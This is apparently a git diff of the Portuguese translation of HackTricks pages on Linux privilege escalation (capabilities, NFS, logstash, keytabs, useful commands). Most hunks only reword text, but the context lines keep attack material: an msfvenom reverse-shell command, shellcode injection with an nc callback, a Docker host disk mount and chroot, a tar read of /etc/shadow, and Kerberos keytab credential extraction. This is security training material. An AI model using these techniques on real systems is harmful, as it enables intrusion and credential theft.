-Suporte HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/linux-hardening/privilege-escalation/euid-ruid-suid.md b/linux-hardening/privilege-escalation/euid-ruid-suid.md index 3f2874245..5c3d7c711 100644 --- a/linux-hardening/privilege-escalation/euid-ruid-suid.md +++ b/linux-hardening/privilege-escalation/euid-ruid-suid.md @@ -25,7 +25,7 @@ Aprofunde sua experiência em **Segurança Móvel** com a 8kSec Academy. Domine ### Variáveis de Identificação do Usuário - **`ruid`**: O **ID do usuário real** denota o usuário que iniciou o processo. -- **`euid`**: Conhecido como o **ID do usuário efetivo**, representa a identidade do usuário utilizada pelo sistema para determinar privilégios de processo. Geralmente, `euid` reflete `ruid`, exceto em casos como a execução de um binário SetUID, onde `euid` assume a identidade do proprietário do arquivo, concedendo assim permissões operacionais específicas. +- **`euid`**: Conhecido como o **ID do usuário efetivo**, representa a identidade do usuário utilizada pelo sistema para determinar os privilégios do processo. Geralmente, `euid` reflete `ruid`, exceto em casos como a execução de um binário SetUID, onde `euid` assume a identidade do proprietário do arquivo, concedendo assim permissões operacionais específicas. - **`suid`**: Este **ID do usuário salvo** é fundamental quando um processo de alto privilégio (normalmente executando como root) precisa temporariamente renunciar a seus privilégios para realizar certas tarefas, apenas para depois recuperar seu status elevado inicial. #### Nota Importante @@ -59,7 +59,7 @@ Notavelmente, enquanto `setuid` pode ser uma escolha comum para elevação de pr #### **Comportamento de `bash` e `sh` com SUID** - **`bash`**: -- Possui uma opção `-p` que influencia como `euid` e `ruid` são tratados. +- Tem uma opção `-p` que influencia como `euid` e `ruid` são tratados. - Sem `-p`, `bash` define `euid` para `ruid` se eles inicialmente diferirem. - Com `-p`, o `euid` inicial é preservado. - Mais detalhes podem ser encontrados na [página do manual `bash`](https://linux.die.net/man/1/bash). @@ -219,7 +219,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/linux-hardening/privilege-escalation/ld.so.conf-example.md b/linux-hardening/privilege-escalation/ld.so.conf-example.md index 7006b03e1..5711091f9 100644 --- a/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -24,7 +24,7 @@ Learn & practice GCP Hacking: fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` -Agora, como indicado no **exploit anterior**, **crie a biblioteca maliciosa dentro de `/tmp`**.\ +Agora, como indicado na **exploração anterior**, **crie a biblioteca maliciosa dentro de `/tmp`**.\ E finalmente, vamos carregar o caminho e verificar de onde o binário está carregando a biblioteca: ```bash ldconfig -f fake.ld.so.conf @@ -164,7 +164,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/linux-hardening/privilege-escalation/linux-active-directory.md b/linux-hardening/privilege-escalation/linux-active-directory.md index 56a3c2776..822bfbb8e 100644 --- a/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/linux-hardening/privilege-escalation/linux-active-directory.md @@ -23,11 +23,11 @@ Uma máquina linux em um AD pode estar **armazenando diferentes tickets CCACHE d ## Enumeração -### Enumeração AD a partir do linux +### Enumeração de AD a partir do linux Se você tiver acesso a um AD no linux (ou bash no Windows), pode tentar [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) para enumerar o AD. -Você também pode verificar a seguinte página para aprender **outras maneiras de enumerar o AD a partir do linux**: +Você também pode verificar a seguinte página para aprender **outras maneiras de enumerar AD a partir do linux**: {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) @@ -35,7 +35,7 @@ Você também pode verificar a seguinte página para aprender **outras maneiras ### FreeIPA -FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Microsoft, principalmente para ambientes **Unix**. Ele combina um **diretório LDAP** completo com um Centro de Distribuição de Chaves **Kerberos** do MIT para gerenciamento semelhante ao Active Directory. Utilizando o **Sistema de Certificados Dogtag** para gerenciamento de certificados CA e RA, suporta autenticação **multifatorial**, incluindo cartões inteligentes. O SSSD está integrado para processos de autenticação Unix. Saiba mais sobre isso em: +FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Microsoft, principalmente para ambientes **Unix**. Ele combina um **diretório LDAP** completo com um Centro de Distribuição de Chaves **Kerberos** MIT para gerenciamento semelhante ao Active Directory. Utilizando o **Sistema de Certificados** Dogtag para gerenciamento de certificados CA & RA, suporta autenticação **multifatorial**, incluindo cartões inteligentes. O SSSD está integrado para processos de autenticação Unix. Saiba mais sobre isso em: {% content-ref url="../freeipa-pentesting.md" %} [freeipa-pentesting.md](../freeipa-pentesting.md) @@ -86,7 +86,7 @@ Invocar \*\*`SSSDKCMExtractor` \*\* com os parâmetros --database e --key irá a git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` -O **blob de cache de credenciais Kerberos pode ser convertido em um arquivo CCache Kerberos utilizável** que pode ser passado para Mimikatz/Rubeus. +O **blob de cache de credenciais Kerberos pode ser convertido em um arquivo Kerberos CCache utilizável** que pode ser passado para Mimikatz/Rubeus. ### Reutilização de ticket CCACHE a partir de keytab ```bash @@ -94,11 +94,11 @@ git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` -### Extrair contas de /etc/krb5.keytab +### Extrair contas do /etc/krb5.keytab As chaves de contas de serviço, essenciais para serviços que operam com privilégios de root, são armazenadas de forma segura nos arquivos **`/etc/krb5.keytab`**. Essas chaves, semelhantes a senhas para serviços, exigem estrita confidencialidade. -Para inspecionar o conteúdo do arquivo keytab, pode-se empregar **`klist`**. A ferramenta é projetada para exibir detalhes da chave, incluindo o **NT Hash** para autenticação de usuários, particularmente quando o tipo de chave é identificado como 23. +Para inspecionar o conteúdo do arquivo keytab, **`klist`** pode ser empregado. A ferramenta é projetada para exibir detalhes da chave, incluindo o **NT Hash** para autenticação de usuários, particularmente quando o tipo de chave é identificado como 23. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash diff --git a/linux-hardening/privilege-escalation/linux-capabilities.md b/linux-hardening/privilege-escalation/linux-capabilities.md index 7e20d9269..d75a64ce1 100644 --- a/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/linux-hardening/privilege-escalation/linux-capabilities.md @@ -309,7 +309,7 @@ Portanto, um arquivo de **configuração de serviço** permite **especificar** a User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` -## Capacidades em Contêineres Docker +## Capabilities in Docker Containers Por padrão, o Docker atribui algumas capacidades aos contêineres. É muito fácil verificar quais são essas capacidades executando: ```bash @@ -328,15 +328,15 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained ```
-​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas. +​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervente para profissionais de tecnologia e cibersegurança em todas as disciplinas. {% embed url="https://www.rootedcon.com/" %} ## Privesc/Container Escape -As capacidades são úteis quando você **quer restringir seus próprios processos após realizar operações privilegiadas** (por exemplo, após configurar chroot e vincular a um socket). No entanto, elas podem ser exploradas ao passar comandos ou argumentos maliciosos que são então executados como root. +As capacidades são úteis quando você **quer restringir seus próprios processos após realizar operações privilegiadas** (por exemplo, após configurar chroot e vincular a um socket). No entanto, elas podem ser exploradas passando comandos ou argumentos maliciosos que são então executados como root. -Você pode forçar capacidades em programas usando `setcap` e consultar essas usando `getcap`: +Você pode forçar capacidades em programas usando `setcap`, e consultar essas usando `getcap`: ```bash #Set Capability setcap cap_net_raw+ep /sbin/ping @@ -367,7 +367,7 @@ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump getcap /usr/sbin/tcpdump /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip ``` -### O caso especial das capacidades "vazias" +### O caso especial de capacidades "vazias" [Dos docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note que é possível atribuir conjuntos de capacidades vazios a um arquivo de programa, e assim é possível criar um programa set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que: @@ -379,7 +379,7 @@ então **esse binário será executado como root**. ## CAP\_SYS\_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** é uma capacidade Linux altamente potente, frequentemente equiparada a um nível quase root devido aos seus extensos **privilegios administrativos**, como montar dispositivos ou manipular recursos do kernel. Embora seja indispensável para contêineres que simulam sistemas inteiros, **`CAP_SYS_ADMIN` apresenta desafios significativos de segurança**, especialmente em ambientes containerizados, devido ao seu potencial para escalonamento de privilégios e comprometimento do sistema. Portanto, seu uso exige avaliações de segurança rigorosas e gerenciamento cauteloso, com uma forte preferência por descartar essa capacidade em contêineres específicos de aplicativos para aderir ao **princípio do menor privilégio** e minimizar a superfície de ataque. +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** é uma capacidade Linux altamente potente, frequentemente equiparada a um nível quase root devido aos seus extensos **privilegios administrativos**, como montar dispositivos ou manipular recursos do kernel. Embora seja indispensável para contêineres que simulam sistemas inteiros, **`CAP_SYS_ADMIN` apresenta desafios significativos de segurança**, especialmente em ambientes conteinerizados, devido ao seu potencial para escalonamento de privilégios e comprometimento do sistema. Portanto, seu uso exige avaliações de segurança rigorosas e gerenciamento cauteloso, com uma forte preferência por descartar essa capacidade em contêineres específicos de aplicativos para aderir ao **princípio do menor privilégio** e minimizar a superfície de ataque. **Exemplo com binário** ```bash @@ -440,8 +440,8 @@ chroot ./ bash #You have a shell inside the docker hosts disk ``` * **Acesso total** -No método anterior, conseguimos acessar o disco do host docker.\ -Caso você descubra que o host está executando um servidor **ssh**, você poderia **criar um usuário dentro do disco do host docker** e acessá-lo via SSH: +No método anterior, conseguimos acessar o disco do host do docker.\ +Caso você descubra que o host está executando um servidor **ssh**, você poderia **criar um usuário dentro do disco do host do docker** e acessá-lo via SSH: ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -559,7 +559,9 @@ libc.ptrace(PTRACE_DETACH, pid, None, None) ``` /usr/bin/gdb = cap_sys_ptrace+ep ``` +```markdown Crie um shellcode com msfvenom para injetar na memória via gdb +``` ```python # msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py buf = b"" @@ -642,7 +644,7 @@ Liste **processos** em execução no **host** `ps -eaf` 2. Encontre um **shellcode** para a arquitetura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) 3. Encontre um **programa** para **injetar** o **shellcode** na memória de um processo ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c)) 4. **Modifique** o **shellcode** dentro do programa e **compile**-o `gcc inject.c -o inject` -5. **Injete** e capture seu **shell**: `./inject 299; nc 172.17.0.1 5600` +5. **Injete** e pegue seu **shell**: `./inject 299; nc 172.17.0.1 5600` ## CAP\_SYS\_MODULE @@ -656,7 +658,7 @@ No exemplo a seguir, o binário **`python`** possui essa capacidade. getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep ``` -Por padrão, o comando **`modprobe`** verifica a lista de dependências e arquivos de mapa no diretório **`/lib/modules/$(uname -r)`**.\ +Por padrão, o comando **`modprobe`** verifica a lista de dependências e arquivos de mapeamento no diretório **`/lib/modules/$(uname -r)`**.\ Para abusar disso, vamos criar uma pasta falsa **lib/modules**: ```bash mkdir lib/modules -p @@ -769,7 +771,7 @@ Outro exemplo desta técnica pode ser encontrado em [https://www.cyberark.com/re **Exemplo com binário** -O binário será capaz de ler qualquer arquivo. Portanto, se um arquivo como tar tiver essa capacidade, ele poderá ler o arquivo shadow: +O binário poderá ler qualquer arquivo. Portanto, se um arquivo como tar tiver essa capacidade, ele poderá ler o arquivo shadow: ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp @@ -1205,7 +1207,7 @@ os.system("/bin/bash") **Isso significa que é possível definir o id de grupo efetivo do processo criado.** -Existem muitos arquivos que você pode **substituir para escalar privilégios,** [**você pode obter ideias daqui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +Existem muitos arquivos que você pode **sobrescrever para escalar privilégios,** [**você pode obter ideias daqui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). **Exemplo com binário** @@ -1236,7 +1238,7 @@ Se o **docker** estiver instalado, você pode **impersonar** o **grupo docker** **Exemplo com binário** -Se o python tiver essa **capacidade**, você pode facilmente abusar dela para escalar privilégios para root: +Se o python tiver essa **capacidade**, você pode muito facilmente abusar dela para escalar privilégios para root: {% code title="setcapability.py" %} ```python @@ -1347,7 +1349,7 @@ kill -s SIGUSR1 **Exemplo com binário** -Se **`python`** tiver essa capacidade, ele poderá escutar em qualquer porta e até se conectar a partir dela a qualquer outra porta (alguns serviços exigem conexões de portas com privilégios específicos) +Se **`python`** tiver essa capacidade, ele poderá escutar em qualquer porta e até se conectar a partir dela a qualquer outra porta (alguns serviços exigem conexões de portas privilegiadas específicas) {% tabs %} {% tab title="Listen" %} @@ -1375,7 +1377,7 @@ s.connect(('10.10.10.10',500)) ## CAP\_NET\_RAW -A capacidade [**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que processos **criem sockets RAW e PACKET**, permitindo que gerem e enviem pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, **CAP_NET_RAW** é crucial para containers privilegiados suportarem operações como ping via solicitações RAW ICMP. +A capacidade [**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que processos **criem sockets RAW e PACKET**, possibilitando a geração e envio de pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, **CAP_NET_RAW** é crucial para containers privilegiados suportarem operações como ping via solicitações RAW ICMP. **Isso significa que é possível monitorar o tráfego.** Você não pode escalar privilégios diretamente com essa capacidade. @@ -1498,7 +1500,7 @@ sudo chattr -i file.txt ## CAP\_SYS\_BOOT -[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) não apenas permite a execução da chamada de sistema `reboot(2)` para reinicializações do sistema, incluindo comandos específicos como `LINUX_REBOOT_CMD_RESTART2` adaptados para certas plataformas de hardware, mas também possibilita o uso de `kexec_load(2)` e, a partir do Linux 3.17, `kexec_file_load(2)` para carregar novos ou assinados kernels de falha, respectivamente. +[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) não apenas permite a execução da chamada de sistema `reboot(2)` para reinicializações do sistema, incluindo comandos específicos como `LINUX_REBOOT_CMD_RESTART2` adaptados para certas plataformas de hardware, mas também possibilita o uso de `kexec_load(2)` e, a partir do Linux 3.17, `kexec_file_load(2)` para carregar novos ou kernels de falha assinados, respectivamente. ## CAP\_SYSLOG @@ -1517,7 +1519,7 @@ Essa capacidade é essencial para processos que requerem a habilidade de criar a É uma capacidade padrão do docker ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). -Essa capacidade permite realizar escalonamentos de privilégios (através da leitura completa do disco) no host, sob estas condições: +Essa capacidade permite fazer escalonamentos de privilégios (através de leitura completa do disco) no host, sob estas condições: 1. Ter acesso inicial ao host (sem privilégios). 2. Ter acesso inicial ao contêiner (privilegiado (EUID 0) e efetivo `CAP_MKNOD`). diff --git a/linux-hardening/privilege-escalation/logstash.md b/linux-hardening/privilege-escalation/logstash.md index 42dc286b0..cb3a64d10 100644 --- a/linux-hardening/privilege-escalation/logstash.md +++ b/linux-hardening/privilege-escalation/logstash.md @@ -36,7 +36,7 @@ path.config: "/etc/logstash/conf.d/*.conf" path.config: "/usr/share/logstash/pipeline/1*.conf" pipeline.workers: 6 ``` -Este arquivo revela onde os arquivos **.conf**, contendo configurações de pipeline, estão localizados. Ao empregar um **módulo de saída Elasticsearch**, é comum que os **pipelines** incluam **credenciais do Elasticsearch**, que frequentemente possuem privilégios extensos devido à necessidade do Logstash de gravar dados no Elasticsearch. Caracteres curinga em caminhos de configuração permitem que o Logstash execute todos os pipelines correspondentes no diretório designado. +Este arquivo revela onde os arquivos **.conf**, contendo configurações de pipeline, estão localizados. Ao empregar um **módulo de saída Elasticsearch**, é comum que os **pipelines** incluam **credenciais do Elasticsearch**, que frequentemente possuem extensos privilégios devido à necessidade do Logstash de gravar dados no Elasticsearch. Caracteres curinga em caminhos de configuração permitem que o Logstash execute todos os pipelines correspondentes no diretório designado. ### Escalada de Privilégios via Pipelines Graváveis @@ -82,7 +82,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 3977e9458..fd62a097c 100644 --- a/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -31,7 +31,7 @@ Leia o _ **/etc/exports** _ arquivo, se você encontrar algum diretório que est Se você encontrou essa vulnerabilidade, você pode explorá-la: -* **Montando aquele diretório** em uma máquina cliente, e **como root copiando** dentro da pasta montada o binário **/bin/bash** e dando a ele direitos **SUID**, e **executando a partir da máquina da vítima** aquele binário bash. +* **Montando aquele diretório** em uma máquina cliente, e **como root copiando** dentro da pasta montada o binário **/bin/bash** e dando a ele direitos **SUID**, e **executando a partir da máquina vítima** aquele binário bash. ```bash #Attacker, as root user mkdir /tmp/pe @@ -61,8 +61,8 @@ cd ## Exploit Local {% hint style="info" %} -Note que se você puder criar um **túnel da sua máquina para a máquina da vítima, você ainda pode usar a versão Remota para explorar essa escalada de privilégio tunelando as portas necessárias**.\ -O seguinte truque é caso o arquivo `/etc/exports` **indique um IP**. Nesse caso, você **não poderá usar** em nenhum caso o **exploit remoto** e precisará **abusar desse truque**.\ +Note que se você puder criar um **túnel da sua máquina para a máquina da vítima, ainda poderá usar a versão Remota para explorar essa escalada de privilégios tunelando as portas necessárias**.\ +O seguinte truque é caso o arquivo `/etc/exports` **indique um IP**. Nesse caso, você **não poderá usar** de forma alguma o **exploit remoto** e precisará **abusar desse truque**.\ Outro requisito necessário para que o exploit funcione é que **a exportação dentro de `/etc/export`** **deve estar usando a flag `insecure`**.\ \--_Não tenho certeza se, caso `/etc/export` esteja indicando um endereço IP, esse truque funcionará_-- {% endhint %} @@ -136,11 +136,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/linux-hardening/privilege-escalation/selinux.md b/linux-hardening/privilege-escalation/selinux.md index 3ff8115a5..d5b27463c 100644 --- a/linux-hardening/privilege-escalation/selinux.md +++ b/linux-hardening/privilege-escalation/selinux.md @@ -34,16 +34,16 @@ system_u:system_r:container_t:s0:c647,c780 Existem usuários SELinux além dos usuários Linux regulares. Os usuários SELinux fazem parte de uma política SELinux. Cada usuário Linux é mapeado para um usuário SELinux como parte da política. Isso permite que os usuários Linux herdem as restrições e regras de segurança e mecanismos impostos aos usuários SELinux. {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/linux-hardening/useful-linux-commands.md b/linux-hardening/useful-linux-commands.md index 2820467bd..016c5d7f2 100644 --- a/linux-hardening/useful-linux-commands.md +++ b/linux-hardening/useful-linux-commands.md @@ -3,22 +3,22 @@
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\ -Tenha Acesso Hoje: +Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ +Acesse hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} @@ -145,7 +145,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** alimentados pelas ferramentas comunitárias **mais avançadas do mundo**.\ +Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -171,22 +171,6 @@ python pyinstaller.py --onefile exploit.py i686-mingw32msvc-gcc -o executable useradd.c ``` ## Greps - -### Grep for a string in files - -To search for a specific string in files, you can use the `grep` command followed by the string you are looking for and the file or directory where you want to search. - -```bash -grep "string_to_search" file.txt -``` - -### Grep recursively in directories - -To search for a string recursively in all files within a directory and its subdirectories, you can use the `-r` flag with `grep`. - -```bash -grep -r "string_to_search" /path/to/directory -``` ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -295,7 +279,7 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` -## Ajuda de pesquisa do Nmap +## Ajuda de busca do Nmap ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" @@ -308,8 +292,6 @@ nmap --script-help "(default or version) and smb)" for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` ## Iptables - -iptables is a powerful firewall utility for Linux systems. ```bash #Delete curent rules and chains iptables --flush @@ -341,16 +323,16 @@ iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -358,7 +340,7 @@ Aprenda e pratique Hacking GCP:
